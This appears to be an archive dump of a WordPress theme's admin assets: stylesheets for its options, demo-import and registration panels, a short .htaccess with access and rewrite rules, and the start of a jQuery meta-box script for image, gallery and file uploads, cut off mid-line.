#redux-header .rAds { right: auto !important; left: 20px !important; } body.rtl .redux-main .button:not(.wp-color-result) { margin-left: 5px; } body.rtl .wbc_importer #wbc-importer-reimport { margin-right: 4px; margin-left: 0; } .redux-container-color_gradient strong { font-size: 13px; display: inline-block; margin-top: 2px; margin-right: 7px; vertical-align: middle; } #clear-gallery { background-color: #ff724c !important; } #clear-gallery:hover { background-color: #ff4b1d !important; } /** import panel */ .wbc_importer { margin-top: 20px; } .wbc_importer .theme-browser, .wbc_importer .theme-browser .themes { display: flex; display: -webkit-flex; align-items: flex-start; flex-flow: row wrap; flex-grow: 1; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; width: 100%; cursor: auto !important; } .wbc_importer .theme-browser .theme { display: flex; display: -webkit-flex; flex: 0 0 46%; flex-flow: row wrap; width: 46%; margin: 0 1.5% 50px 1.5% !important; cursor: auto !important; border: 5px solid #f2f2f2; -webkit-box-shadow: 0 45px 50px -45px #999; box-shadow: 0 45px 50px -45px #999; } .wbc_importer .theme .theme-screenshot { display: block; width: 100%; } .wbc_importer .theme-actions { font-size: 12px !important; font-weight: bold; text-align: right; text-transform: uppercase; border-radius: 0 !important; background: none !important; box-shadow: none !important; } .wbc_importer .theme-browser .themes .theme-name { font-size: 13px !important; font-weight: 700; line-height: 18px !important; display: block; overflow: hidden; height: 18px; margin: 0; margin-bottom: 10px; padding: 10px; text-align: center; letter-spacing: 0; color: #282829 !important; border: none; -webkit-border-radius: 0; border-radius: 0; background: #f8f8f8 !important; box-shadow: none !important; } .wbc_importer .theme-browser .theme .spinner { margin: 0 10px 0; } .wbc_importer .importer-button { font-size: 12px !important; font-weight: normal !important; line-height: 24px !important; height: 24px !important; margin-top: 0; padding: 0 10px !important; text-transform: uppercase; color: #fff !important; border: none; -webkit-border-radius: 2px !important; border-radius: 2px !important; background-color: #2abfac !important; box-shadow: none; } .ruby-import-data-notice { padding: 20px; -webkit-border-radius: 6px; border-radius: 6px; background-color: #fdffbc; } .ruby-import-tips { padding: 20px; border: 1px solid #6dbb89; -webkit-border-radius: 6px; border-radius: 6px; } .ruby-import-tips > strong:first-child { margin-bottom: 10px; } .ruby-import-tips a { color: #fff !important; } .redux-container .redux-main .theme-browser .button-primary { font-weight: normal; transition: all 0.13s linear; text-transform: uppercase; color: #fff !important; border: none; background-color: #19a1f7 !important; background-image: none !important; box-shadow: none !important; text-shadow: none !important; } .redux-container .redux-main .theme-browser .button-primary:hover, .redux-container .redux-main .theme-browser .button-primary:focus { opacity: .7; } .theme-screenshot-holder { position: relative; display: block; width: 100%; } .wbc_importer .data-select { position: relative; z-index: 999; display: block; } .wbc_importer .import-bar { position: relative; z-index: 999; display: block; width: 100%; } .wbc_importer .theme-browser .theme.active .theme-actions, .wbc_importer .theme-browser .theme .theme-actions { position: relative; top: auto; right: auto; bottom: auto; left: auto; margin: 0; margin-top: 10px; cursor: auto !important; -moz-transform: none; -ms-transform: none; -o-transform: none; -webkit-transform: none; transform: none; } .wbc_importer .wbc_imported_info { margin-right: 10px; cursor: alias; pointer-events: none !important; opacity: .4 !important; background-color: #666 !important; } .wbc_importer .rb-disabled { cursor: alias; pointer-events: none; opacity: .5; } .wbc_importer .data-select { margin-top: 5px; padding-right: 20px; padding-left: 20px; } .wbc_importer .rb-import-divider { display: block; clear: both; width: 100px; height: 2px; margin: 7px 0; border-bottom: 2px solid #aaa; } .wbc_importer .rb-import-header { font-size: 12px; font-weight: 700; padding: 7px 20px; text-transform: uppercase; } .wbc_importer .plugin-el { font-size: .9em; display: flex; display: -webkit-flex; padding: 7px 20px; } .wbc_importer .plugin-el .name { padding-left: 10px; } .wbc_importer .plugin-el .info { display: flex; display: -webkit-flex; flex-shrink: 0; margin-left: auto; } .wbc_importer .plugin-el .info.activated { color: #8aa985; } .wbc_importer .plugin-el .type { font-size: .8rem; margin-left: 5px; opacity: .5; } #section-table-section_start_quick_translation .redux_field_th { padding-left: 20px !important; } #section-table-section_start_quick_translation tr:nth-child(2n+1) { background: #f7f7f7; } #section-table-section_start_quick_translation tbody { border: 1px solid #eee; } .rtl .redux-sidebar .redux-group-menu li.hasSubSections .extraIconSubsections { right: auto; left: 10px; } .rtl .redux-main .wp-picker-container .wp-color-result { padding-right: 30px; padding-left: 2px; } .rtl #section-table-section_start_quick_translation .redux_field_th { padding-right: 20px !important; } .display_header .p-version { font-size: 15px; line-height: 1; margin-left: 7px; vertical-align: top; color: #78d098 !important; } span.pdocs-info i { font-size: 16px; margin-right: 3px; color: #fff; } span.pdocs-info { display: block; overflow: hidden; margin-top: 7px; } span.pdocs-info a { text-decoration: none; color: #fff !important; } span.pdocs-info a:hover { text-decoration: underline; } .redux-container #redux-header .display_header h2 { margin-bottom: 0; color: #fff !important; } .redux-container .redux-main .redux-field-container { padding: 15px 0; } .redux-notice-field .redux-info-desc { font-size: 11px; font-weight: 600; max-width: 760px; margin-top: 0; } .redux-container-media .upload.large-text { font-weight: 700; display: block !important; margin-bottom: 5px; } .redux-container-media .description.field-desc { color: #ff6767; } .redux-notice-field { margin-top: 0; margin-bottom: 20px; margin-left: 0; padding: 12px; border-width: 5px !important; background-color: #fafafa; -webkit-box-shadow: none; box-shadow: none; border-radius: 7px; } .redux-notice-field.redux-warning { border-color: #ffc386; background-color: #ffc38610; } .redux-notice-field.redux-success { border-color: #33a15a; } .redux-notice-field.redux-info { border-color: #489fff; background-color: #489fff10; } #info-info_update_logo { margin-top: 0; margin-bottom: 30px; } .select2-results .select2-highlighted, .admin-color-fresh .select2-results .select2-highlighted, .wp-customizer .select2-results .select2-highlighted { background-color: #4ca26b; } } @media (max-width: 992px) { .redux-main .redux-typography-container .select_wrapper, .redux-main .redux-typography-container .select_wrapper:nth-child(even), .redux-main .redux-typography-container .select_wrapper:nth-child(odd), .redux-main .redux-typography-container .input_wrapper { width: 100% !important; } } @media screen and (max-width: 1124px) { .redux-sidebar .redux-group-tab-link-a span.group_title { line-height: 38px; } .redux-sidebar .redux-group-menu { padding-left: 0; } } @media (max-width: 767px) { .form-table-section { margin-left: 0; } } @media only screen and (min-width: 1400px) { .wbc_importer .theme-browser .theme { display: flex; display: -webkit-flex; flex: 0 0 30%; flex-flow: row wrap; width: 30%; margin: 0 1.5% 50px 1.5% !important; cursor: auto !important; border: 5px solid #f2f2f2; -webkit-box-shadow: 0 45px 50px -45px #999; box-shadow: 0 45px 50px -45px #999; } } .rb-demo-import-checkbox { display: flex; display: -webkit-flex; align-items: center; flex-grow: 0; cursor: pointer; text-decoration: none !important; color: inherit !important; } .rb-demo-import-checkbox:before { display: inline-flex; flex-grow: 0; width: 10px; height: 10px; margin-right: 7px; content: ''; -webkit-transition: all .25s; transition: all .25s; border: 2px solid #eee; border-radius: 50%; } .data-select-el { margin-bottom: 7px; } .rb-demo-import-checkbox.checked:before { border-color: #9ac280; background: #9ac280; } .layout-info .redux-info-desc { display: flex; display: -webkit-flex; align-items: center; } .layout-info img { margin-left: 20px; } .rb-tops-icon.dashicons-before:before { font-size: 18px; line-height: inherit; }assets/panel.css000064400000055071147207023670007677 0ustar00.rb-panel-wrap { position: relative; display: block; padding: 30px 20px; } .rb-panel-wrap * { -webkit-box-sizing: border-box; box-sizing: border-box; } .rb-panel-wrap strong { font-weight: 700; } .rb-panel-header { display: flex; align-items: center; } .rb-panel-header h1 { font-size: 2.5rem; line-height: 1.1; margin-top: 0; margin-bottom: 10px; } .rb-panel-wrap .sub-heading { font-size: 1rem; margin-top: 0; margin-bottom: 15px; color: #666666; } .rb-panel-logo { width: 90px; margin-right: 20px; } .rb-panel-logo img { display: block; width: 100%; height: auto; } .rb-quick-links { font-size: 1rem; } .rb-quick-links a { font-weight: 600; margin-right: 20px; -webkit-transition: all .25s; transition: all .25s; color: #666666; } .rb-quick-links a:hover { color: #333333; } .rb-quick-links a:last-child { margin-right: 0; } /** system info */ .rb-system-info { display: flex; max-width: 1100px; margin-top: 30px; margin-right: -20px; margin-left: -20px; } .rb-panel-col { display: flex; flex: 0 0 50%; flex-grow: 1; padding-right: 20px; padding-left: 20px; } .rb-panel-col .rb-inner { display: block; width: 100%; padding: 60px 40px; -webkit-border-radius: 7px; border-radius: 7px; background-color: #ffffff; } .rb-info-header h2 { font-size: 2rem; font-weight: 400; line-height: 1; margin-top: 0; padding-bottom: 15px; border-bottom: 2px solid; } .info-el { display: flex; flex-flow: column nowrap; width: 100%; margin-bottom: 20px; padding-bottom: 20px; border-bottom: 1px solid #eeeeee; } .info-el:last-child { margin-bottom: 0; padding-bottom: 0; border-bottom: 0; } .info-content { display: flex; flex-flow: row nowrap; width: 100%; } .info-warning { font-size: .8rem; display: block; margin-top: 12px; color: #aaaaaa; } .info-value { font-size: 1rem; font-weight: 700; justify-content: flex-end; color: #49ac7e; } .is-warning .info-value { color: #ff332e; } .info-label { font-size: 1.1rem; flex-grow: 1; } /** register purchase form */ .rb-panel { display: block; width: 100%; max-width: 600px; margin-top: 50px; padding: 60px 40px; -webkit-border-radius: 7px; border-radius: 7px; background-color: #ffffff; box-shadow: 0 10px 20px rgba(0, 0, 0, .05); } .rb-activate-header, .rb-project-id-header { display: block; margin-bottom: 40px; } .rb-activate-header h2, .rb-project-id-header h2, .rb-font-details-header h2 { font-size: 1.8rem; font-weight: 400; margin-top: 0; } .rb-activate-header h2, .rb-project-id-header h2 { color: #ff9252; } .rb-activate-header.is-activated h2 { color: #49ac7e; } .rb-activate-header i { margin-right: 7px; } body.rtl .rb-activate-header i { margin-left: 7px; margin-right: 0; } .rb-activate-header p, .rb-fonts-header p { font-size: 1rem; } .rb-activate-form { position: relative; } .rb-panel-input { position: relative; display: block; margin-bottom: 40px; } label.rb-panel-label { font-size: 11px; font-weight: 700; line-height: 1; display: block; margin-bottom: 10px; padding-left: 10px; text-transform: uppercase; border-left: 7px solid #ff9257; } input.rb-panel-input-text { font-size: 1.2rem; display: block; width: 100%; padding-right: 0; padding-left: 0; border: none; border-bottom: 2px solid; border-radius: 0; outline: none !important; background: none; box-shadow: none !important; } input[name="activated_purchase_code"] { color: #49ac7e; } input.rb-panel-input-text, input.rb-panel-input-text:focus, input.rb-panel-input-text:active { border-color: #333333; box-shadow: none !important; } input.rb-panel-input-text:-webkit-autofill, input.rb-panel-input-text:-webkit-autofill:hover, input.rb-panel-input-text:-webkit-autofill:focus, input.rb-panel-input-text:-webkit-autofill:active { -webkit-box-shadow: 0 0 0 30px white inset !important; } input.rb-panel-input-text::placeholder { font-size: 1rem; color: #aaaa } .rb-panel-submit { display: flex; align-items: center; } span.rb-purchase-code-info { font-size: .8rem; margin-left: auto; } .rb-panel-button, button.rb-panel-button { font-size: 1.1rem; font-weight: 700; padding: 10px 25px; cursor: pointer; -webkit-transition: all .25s; transition: all .25s; text-decoration: none; color: #ffffff; border: none; border-radius: 5px; outline: none; background: #49ac7e; box-shadow: none; } #delete-project-id { background: #ff815c; } #delete-project-id:hover { background: #ff531f; } .re-fetch-translation { padding: 0; cursor: pointer; text-decoration: underline; color: #777777; border: none; } .re-fetch-translation:hover { color: #49ac7e; } .rb-panel-button.deregister-button { background: #ff815c; } .rb-panel-button:hover, .rb-panel-button:focus { color: #ffffff; outline: none; background: #2f6f52; box-shadow: none; } .rb-panel-button.deregister-button:hover { background: #ff332e; } input.rb-panel-input-text.rb-validate-error { border-color: #ff332e; } .rb-panel-button.disabled, .rb-panel-button.deregister-button:disabled { cursor: auto; pointer-events: none !important; background: #dddddd; } .rb-error-info { line-height: 30px; position: absolute; right: 0; bottom: 0; display: block; color: #ff332e; } .is-hidden { display: none !important; } .is-disable { pointer-events: none !important; } .rb-loading { margin-left: 10px; } .rb-loading i { line-height: 22px; width: 22px; height: 22px; -webkit-animation: rb-loading 2s linear infinite; animation: rb-loading 2s linear infinite; text-align: center; color: #49ac7e; } @-webkit-keyframes rb-loading { from { -webkit-transform: rotate(0deg); -o-transform: rotate(0deg); transform: rotate(0deg); } to { -webkit-transform: rotate(360deg); -o-transform: rotate(360deg); transform: rotate(360deg); } } @keyframes rb-loading { from { -ms-transform: rotate(0deg); -moz-transform: rotate(0deg); -webkit-transform: rotate(0deg); -o-transform: rotate(0deg); transform: rotate(0deg); } to { -ms-transform: rotate(360deg); -moz-transform: rotate(360deg); -webkit-transform: rotate(360deg); -o-transform: rotate(360deg); transform: rotate(360deg); } } .rb-response-info { font-size: 1rem; font-weight: 700; line-height: 1.5; margin-top: 30px; color: #ff9257; border-radius: 10px; } .rb-response-info .info-success { font-size: inherit; color: #49ac7e; } .rb-redirect-content { margin-top: 60px; } /** importer */ .rb-demos, .rb-demos * { box-sizing: border-box; } .rb-disabled { cursor: alias; pointer-events: none; opacity: .5; } .rb-demos-wrap { position: relative; display: block; max-width: 960px; padding: 30px; } .rb-demos { display: flex; display: -webkit-flex; flex-flow: column nowrap; width: 100%; } .rb-demo-item { display: flex; display: -webkit-flex; overflow: hidden; flex: 0 0 100%; margin-bottom: 30px; -webkit-border-radius: 7px; border-radius: 7px; } .rb-demo-item .demo-image { position: absolute; top: 0; right: 0; left: 0; display: block; width: 100%; height: auto; -webkit-transition: all .25s; transition: all .25s; object-fit: contain; object-position: center top; } .rb-show-spinner { display: block; visibility: visible; opacity: 1; } .demo-status { position: absolute; opacity: 0; } .is-importing:not(.just-complete) .demo-status { display: none; } h3.demo-name { line-height: 1; position: relative; margin: 20px 30px 0 30px; padding: 0 0 15px 0; text-align: right; color: #ffffff; border-bottom: 5px solid rgba(255, 255, 255, .07); } .rb-demo-item .inner-item { position: relative; display: flex; display: -webkit-flex; overflow: hidden; flex-flow: row nowrap; width: 100%; background-color: #ffffff; box-shadow: 0 10px 20px rgba(0, 0, 0, .05); } .demo-content { position: relative; display: flex; display: -webkit-flex; flex: 0 0 50%; flex-flow: column nowrap; padding-bottom: 30px; color: #ffffff; background-color: #23282d; } .demo-content > * { margin-top: 20px; padding: 0 30px; } .demo-content > *:last-child { margin-bottom: 0; } .demo-plugins > h4, .rb-import-header { font-size: 12px; font-weight: 700; margin-top: 0; margin-bottom: 7px; text-transform: uppercase; color: #aaaaaa; } .demo-plugins .plugin-el { font-size: 12px; line-height: 20px; display: block; overflow: hidden; margin-bottom: 7px; padding-left: 10px; } .demo-plugins .plugin-el:last-child { margin-bottom: 0; } .plugin-el .name { font-weight: 700; } .plugin-el .name a.plugin-link { color: #ffffff; text-decoration: none; transition: all .3s; -webkit-transition: all .3s; } .plugin-el .name a.plugin-link:hover { text-decoration: dotted; } .plugin-el .info { font-size: 11px; font-weight: normal; display: inline-block; margin-left: 4px; color: #aaaaaa; } .activate-info { display: inline-block; float: right; } .plugin-el .activate-info.activated { color: #6ebe75; } .plugin-el a.activate-info { font-weight: 700; line-height: 20px; -webkit-transition: all .25s; transition: all .25s; outline: none !important; box-shadow: none !important; } .plugin-el a.activate-info:hover { color: #ffffff; } .plugin-el a.activate-info { color: #ffdf36; } .plugin-el.important a.activate-info { color: #ff5151; } .plugin-el .spinner { margin: 0; outline: none !important; } .loading-info { font-weight: 400; margin-right: 4px; text-decoration: none; color: #aaaaaa; outline: none !important; box-shadow: none; } a.activate-info.loading { text-decoration: none; } .demo-preview { line-height: 0; position: relative; display: flex; display: -webkit-flex; flex: 0 0 50%; } .is-importing .demo-image { opacity: .15; } .demo-process-bar { position: absolute; z-index: 1; top: auto; bottom: 0; display: block; visibility: visible; width: 100%; height: 15px; -webkit-transition: all .25s; transition: all .25s; pointer-events: none; opacity: 0; background-color: #eeeeee; } .process-count { font-size: 24px; line-height: 1; padding: 0 20px; font-weight: bold; position: absolute; text-align: center; z-index: 1; top: 0; right: 10px; bottom: 10px; left: 0; display: flex; display: -webkit-flex; visibility: visible; align-items: center; justify-content: center; -webkit-transition: all .25s; transition: all .25s; pointer-events: none; opacity: 0; color: inherit; } .error-label { color: #ff6464; } .is-importing .process-count, .is-importing .demo-process-bar { visibility: visible; opacity: 1; } .process-percent { position: relative; display: block; overflow: hidden; width: 0; height: 100%; -webkit-transition: all .25s; transition: all .25s; background-color: #3db247; } .process-percent:after { position: absolute; z-index: 1; top: 0; right: 0; bottom: 0; left: 0; overflow: hidden; content: ""; -webkit-animation: rbmove 2s linear infinite; animation: rbmove 2s linear infinite; background-image: -webkit-gradient(linear, 0 0, 100% 100%, color-stop(.25, rgba(255, 255, 255, .2)), color-stop(.25, transparent), color-stop(.5, transparent), color-stop(.5, rgba(255, 255, 255, .2)), color-stop(.75, rgba(255, 255, 255, .2)), color-stop(.75, transparent), to(transparent) ); background-image: -moz-linear-gradient( -45deg, rgba(255, 255, 255, .2) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .2) 50%, rgba(255, 255, 255, .2) 75%, transparent 75%, transparent ); -moz-background-size: 50px 50px; -webkit-background-size: 50px 50px; } .process-percent.is-completed { width: 100% !important; } .process-percent.is-completed:after { opacity: 0; } @keyframes rbmove { 0% { background-position: 0 0; } 100% { background-position: 50px 50px; } } @-webkit-keyframes rbmove { 0% { background-position: 0 0; } 100% { background-position: 50px 50px; } } .rb-importer-checkbox { display: flex; display: -webkit-flex; align-items: center; flex-grow: 0; cursor: pointer; text-decoration: none !important; color: inherit !important; outline: none !important; box-shadow: none !important; } .rb-importer-checkbox:before { display: inline-flex; flex-grow: 0; width: 10px; height: 10px; margin-right: 7px; content: ''; -moz-transition: all .25s; -ms-transition: all .25s; -o-transition: all .25s; -webkit-transition: all .25s; transition: all .25s; border: 2px solid #444444; border-radius: 50%; } .data-select { position: relative; margin-bottom: 15px; padding-left: 10px; } .data-select-el { margin-bottom: 7px; } .rb-importer-checkbox.checked:before { border-color: #6ebe75; background: #6ebe75; } .rb-import-divider { display: block; clear: both; width: 140px; height: 2px; margin: 7px 0; border-bottom: 2px solid rgba(255, 255, 255, .07); } .import-label { -webkit-transition: all .3; transition: all .25s; color: #aaaaaa; } .checked .import-label { color: #ffffff; } .import-actions { display: flex; display: -webkit-flex; width: 100%; margin-top: auto; } .rb-wait { display: none; color: #ffffff; } .rb-wait span:last-child, .rb-loading-info span:last-child { -webkit-animation: rbfade 2s linear infinite; animation: rbfade 2s linear infinite; } .rb-loading-info { color: #ffffff; } .is-importing:not(.just-complete) .rb-wait { display: block; } .rb-wait .rb-loading { margin-right: 7px; margin-left: 0; } .rb-loading-info .rb-loading { margin-right: 0; margin-left: 0; } .rb-loading-info .rb-loading i { font-size: 14px; } @keyframes rbfade { 0% { opacity: 1; } 50% { opacity: .1; } 100% { opacity: 1; } } @-webkit-keyframes rbfade { 0% { opacity: 1; } 50% { opacity: .2; } 100% { opacity: 1; } } .demo-status { font-size: 13px; font-weight: 700; line-height: 1; position: absolute; top: 0; right: 0; display: block; padding: 12px 20px; -webkit-transition: all .25s; transition: all .25s; color: #ffffff; -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .3); box-shadow: 0 5px 10px rgba(0, 0, 0, .3); } .is-imported .demo-status { opacity: 1; background-color: #4e9c54; } .rb-demo-item:not(.is-imported):hover .demo-status { opacity: 1; background-color: #23282d; } .rb-importer-btn-wrap { display: flex; display: -webkit-flex; align-items: center; width: 100%; } .rb-importer-btn { font-weight: 700; line-height: 1; display: flex; display: -webkit-flex; margin-right: 0; margin-left: auto; padding: 10px 25px; cursor: pointer; -webkit-transition: all .25s; transition: all .25s; color: #ffffff; border-radius: 3px; background-color: #4e9c54; } .rb-importer-completed { font-weight: 700; line-height: 1; display: none; margin-left: auto; padding: 10px 0; color: #eeeeee; } .rb-do-reimport { background-color: #ddad58; } .rb-importer-btn:hover, .rb-do-reimport.rb-importer-btn:hover, .rb-importer-btn:focus, .rb-do-reimport.rb-importer-btn:focus, .is-importing .rb-importer-btn { background-color: #318032; } .is-importing .rb-importer-btn { pointer-events: none; opacity: .5; } .rb-importer-btn.rb-disabled { background-color: #3f4b57; } .just-complete .rb-importer-btn { display: none; } .just-complete .rb-importer-completed { display: block; } .importer-header { position: relative; display: block; margin-bottom: 35px; } .importer-header strong { color: #333333; } .importer-headline { font-size: 22px; font-weight: 700; padding: 20px 30px; background-color: #ffffff; box-shadow: 0 10px 20px rgba(0, 0, 0, .07); } .importer-headline i { font-size: 26px; display: inline-block; margin-right: 10px; } .importer-desc p { font-size: 1rem; margin-top: 0; margin-bottom: 15px; color: #666666; } .importer-tips { position: relative; display: block; margin-top: 30px; padding: 20px 30px; color: #666666; border: 4px solid #9bb99d; border-radius: 10px; } .importer-tips p { font-size: 16px; margin-top: 0; margin-bottom: 7px; } .importer-notice { margin-top: 20px; padding: 20px 30px; border: 4px solid #ffa739; border-radius: 10px; } .importer-notice p { font-size: 16px; margin-top: 0; margin-bottom: 7px; } body.rtl .rb-demo-item .demo-image { right: 0; left: 0; } body.rtl .demo-status { right: auto; left: 0; } body.rtl h3.demo-name { margin: 20px 30px 0 30px; padding: 0 0 15px 0; text-align: left; } body.rtl .demo-plugins .plugin-el { padding-right: 10px; } body.rtl .plugin-el .info { margin-right: 4px; } body.rtl .activate-info { float: left; } body.rtl .loading-info { margin-left: 4px; } body.rtl .process-count { right: 0; left: 10px; } body.rtl .process-percent:after { right: 0; left: 0; } body.rtl .rb-importer-checkbox:before { margin-right: 0; margin-left: 7px; } body.rtl .data-select { padding-right: 10px; } body.rtl .rb-importer-btn { margin-right: auto; margin-left: 0; } body.rtl .rb-importer-completed { margin-right: auto; margin-left: 0; } body.rtl .importer-headline i { margin-right: auto; margin-left: 10px; } /* translation */ p.rb-notice { font-size: 1rem; font-weight: 700; display: block; max-width: 1000px; padding: 20px; color: #ffffff; background-color: #ff9a5d; } .rb-translation-form { position: relative; display: flex; flex-flow: row wrap; max-width: 1200px; margin-top: 30px; border-top: 10px solid #dddddd; background-color: #ffffff; box-shadow: 0 10px 20px rgba(0, 0, 0, .05); } .rb-translation-form .item { display: flex; align-items: flex-start; flex: 0 0 50%; padding: 15px 20px; border-right: 1px solid #dddddd; border-bottom: 1px solid #dddddd; } .rb-translation-form .item:nth-child(2n) { border-right: none; } .rb-translation-form input[type="text"] { font-weight: 700; width: 70%; } .rb-translation-form label { width: 30%; padding-right: 10px; } .form-footer { position: sticky; bottom: 0; display: flex; align-items: center; justify-content: flex-end; width: 100%; padding: 20px 30px; background-color: #ffffff; box-shadow: 0 -5px 10px rgba(0, 0, 0, .05); } .fetch-translation { display: flex; align-items: center; } .update-translation-loader { margin-right: 20px; } .form-footer .rb-info { font-size: 1rem; display: none; margin-top: 0; margin-right: auto; margin-bottom: 0; margin-left: 0; padding: 7px 20px; color: #ffffff; border-radius: 3px; background-color: #49ac7e; } .form-footer .rb-info.is-error { background-color: #ee3f3f; } .rb-fonts .rb-panel-input-text { margin-bottom: 30px; } .rb-fonts .rb-panel-input-text:read-only { cursor: not-allowed; opacity: .5; } .rb-fonts .rb-panel-button { font-size: .9rem; } .rb-fonts .rb-panel { max-width: 1000px; } #rb-edit-project-id:not(:hover) { background-color: #333333; } .rb-font-notice { font-size: 1rem; font-weight: 700; margin-top: 30px; color: #ff9257; } .rb-font-item.is-top { font-weight: 700; border-bottom: 1px solid; } .rb-font-detail { font-weight: 700; } .rb-font-item { display: flex; flex-flow: row nowrap; } .rb-font-item > * { width: 33%; flex-shink: 0; } .font-settings { display: flex; flex-flow: row wrap; margin-top: 40px; margin-right: -20px; margin-left: -20px; } .font-setting-el { display: flex; align-items: center; flex-flow: row nowrap; width: 50%; margin-bottom: 20px; padding-right: 20px; padding-bottom: 20px; padding-left: 20px; border-bottom: 1px solid #eeeeee; } .font-setting-el:nth-child(even) { border-left: 1px solid #eeeeee; } .font-setting-title { font-weight: 700; flex-shrink: 0; width: 120px; margin: 0; } .rb-font-setting { width: auto; max-width: 250px; } [disabled="disabled"].rb-panel-button:hover, [disabled="disabled"].rb-panel-button:focus { cursor: not-allowed; background: #aaaaaa; pointer-events: none; }assets/.htaccess000064400000001626147207023670007661 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] rb-meta/assets/meta.js000064400000032726147207023670010703 0ustar00/** RUBY META BOXES */ var RB_META_BOXES = (function (Module, $) { "use strict"; Module.init = function () { var self = this; self.$Document = $(document); self.body = $('body'); self.switchPanel(); self.imageSelect(); self.uploadImages(); self.uploadGallery(); self.removeImages(); self.removeGallery(); self.removeFile(); self.fileUpload(); self.datePicker(); self.repeatGroup(); setTimeout(function () { self.removeHideJs(); self.exceptIncludeTemplate(); }, 10); }; /* switch panel */ Module.switchPanel = function () { $('.rb-tab-title').on('click', function (e) { e.preventDefault(); e.stopPropagation(); var target = $(this); var tab = target.data('tab'); var id = '#rb-tab-' + tab; var wrapper = target.parents('.rb-meta-wrapper'); wrapper.css('height', wrapper.height()); target.addClass('is-active').siblings().removeClass('is-active'); wrapper.find('.rb-meta-tab').removeClass('is-active'); wrapper.find(id).addClass('is-active'); wrapper.css('height', 'auto'); wrapper.find('.rb-meta-last-tab').val(tab); return false; }) }; /** remove image upload */ Module.removeImages = function () { this.$Document.on('click', '.rb-clear-images', function (event) { event.preventDefault(); event.stopPropagation(); var currentWrap = $(this).parents('.rb-images'); currentWrap.find('.rb-value-images').val('').trigger('change'); currentWrap.find('.meta-preview').html(''); }); }; /** remove gallery upload */ Module.removeGallery = function () { this.$Document.on('click', '.rb-clear-gallery', function (event) { event.preventDefault(); event.stopPropagation(); var currentWrap = $(this).parents('.rb-gallery'); currentWrap.find('.rb-value-gallery').val('').trigger('change'); currentWrap.find('.meta-preview').html(''); }); }; /** image upload */ Module.uploadImages = function () { this.$Document.on('click', '.rb-edit-images', function (event) { if (typeof wp === 'undefined' || !wp.media) { return; } event.preventDefault(); event.stopPropagation(); var currentWrap = $(this).parents('.rb-images'); var preview = currentWrap.find('.meta-preview'); var targetValWrap = currentWrap.find('.rb-value-images'); var currentVal = targetValWrap.val(); var attachment, attachments, element, previewImg, previewHTML; if (frame) { frame.open(); return; } var frame = wp.media({ title: 'Select Images', multiple: true }); frame.on('open', function () { var selection = frame.state().get('selection'); if (currentVal.length > 0) { var ids = currentVal.split(','); ids.forEach(function (id) { attachment = wp.media.attachment(id); selection.add(attachment ? [attachment] : []); }); } }); frame.on('select', function () { attachments = frame.state().get('selection').toJSON(); preview.html(''); var selectionIDs = attachments.map(function (element) { previewImg = typeof element.sizes.thumbnail !== 'undefined' ? element.sizes.thumbnail.url : element.url; previewHTML = ''; preview.append(previewHTML); return element.id; }); targetValWrap.val(selectionIDs.join(',')).trigger('change'); }); frame.open(); }); }; /** gallery upload */ Module.uploadGallery = function () { var self = this; self.$Document.on('click', '.rb-edit-gallery', function (event) { if (typeof wp === 'undefined' || !wp.media) { return; } event.preventDefault(); event.stopPropagation(); var currentWrap = $(this).parents('.rb-gallery'); var preview = currentWrap.find('.meta-preview'); var targetValWrap = currentWrap.find('.rb-value-gallery'); var currentVal = targetValWrap.val(); var library, attachments; if (frame) { frame.open(); return; } var frame = wp.media({ title: wp.media.view.l10n.editGalleryTitle, frame: 'post', state: 'gallery-edit', editing: true, multiple: true, selection: self.getSelectGallery(currentVal), library: { order: 'ASC', type: 'image', search: null } }); frame.on('update', function () { library = frame.states.get('gallery-edit').get('library'); attachments = library.pluck('id'); preview.html(''); $.ajax({ type: 'POST', url: rbMetaParams.ajaxurl, data: { action: 'rb_meta_gallery', attachments: attachments }, success: function (data) { data = JSON.parse(JSON.stringify(data)); preview.append(data); } }); targetValWrap.val(attachments.join(',')).trigger('change'); }); frame.open(); }); }; /** get selection */ Module.getSelectGallery = function (value) { if (!value) { return; } var selection, attachments; var shortcode = wp.shortcode.next('gallery', '[gallery ids=\'' + value + '\']'); var defaultPostId = wp.media.gallery.defaults.id; if (!shortcode) { return; } shortcode = shortcode.shortcode; if (_.isUndefined(shortcode.get('id')) && !_.isUndefined(defaultPostId)) { shortcode.set('id', defaultPostId); } if (_.isUndefined(shortcode.get('ids'))) { shortcode.set('ids', '0'); } attachments = wp.media.gallery.attachments(shortcode); selection = new wp.media.model.Selection(attachments.models, { props: attachments.props.toJSON(), multiple: true }); selection.gallery = attachments.gallery; selection.more().done(function () { selection.props.set({query: false}); selection.unmirror(); selection.props.unset('orderby'); }); return selection; }; /** image select */ Module.imageSelect = function () { this.$Document.on('click', 'input.rb-meta-image', function () { var target = $(this); target.parent('.rb-checkbox').addClass('is-active').siblings().removeClass('is-active'); }) }; /** remove file upload */ Module.removeFile = function () { this.$Document.on('click', '.rb-clear-file', function (event) { event.preventDefault(); event.stopPropagation(); var currentWrap = $(this).parents('.rb-file'); currentWrap.find('.rb-value-file').val('').trigger('change'); currentWrap.find('.meta-preview').html(''); return false; }); }; /* file upload */ Module.fileUpload = function () { $('.rb-edit-file').on('click', function (event) { if (typeof wp === 'undefined' || !wp.media) { return; } event.preventDefault(); event.stopPropagation(); var currentWrap = $(this).parents('.rb-file'); var preview = currentWrap.find('.meta-preview'); var targetValWrap = currentWrap.find('.rb-value-file'); var currentVal = targetValWrap.val(); var attachment, previewImg, previewName, previewHTML; if (frame) { frame.open(); return; } var frame = wp.media({ title: 'Select Media', multiple: false }); frame.on('open', function () { var selection = frame.state().get('selection'); if (currentVal.length > 0) { attachment = wp.media.attachment(currentVal); selection.add(attachment ? [attachment] : []); } }); frame.on('select', function () { attachment = frame.state().get('selection').first().toJSON(); preview.html(''); var selectionID = attachment.id; previewImg = typeof attachment.thumb !== 'undefined' ? attachment.thumb.src : attachment.url; previewName = typeof attachment.filename !== 'undefined' ? attachment.filename : attachment.url; previewHTML = '' + previewName + ''; preview.append(previewHTML); targetValWrap.val(selectionID).trigger('change'); }); frame.open(); }); }; /** date picker */ Module.datePicker = function () { $('.rb-meta-date').datepicker({ dateFormat: 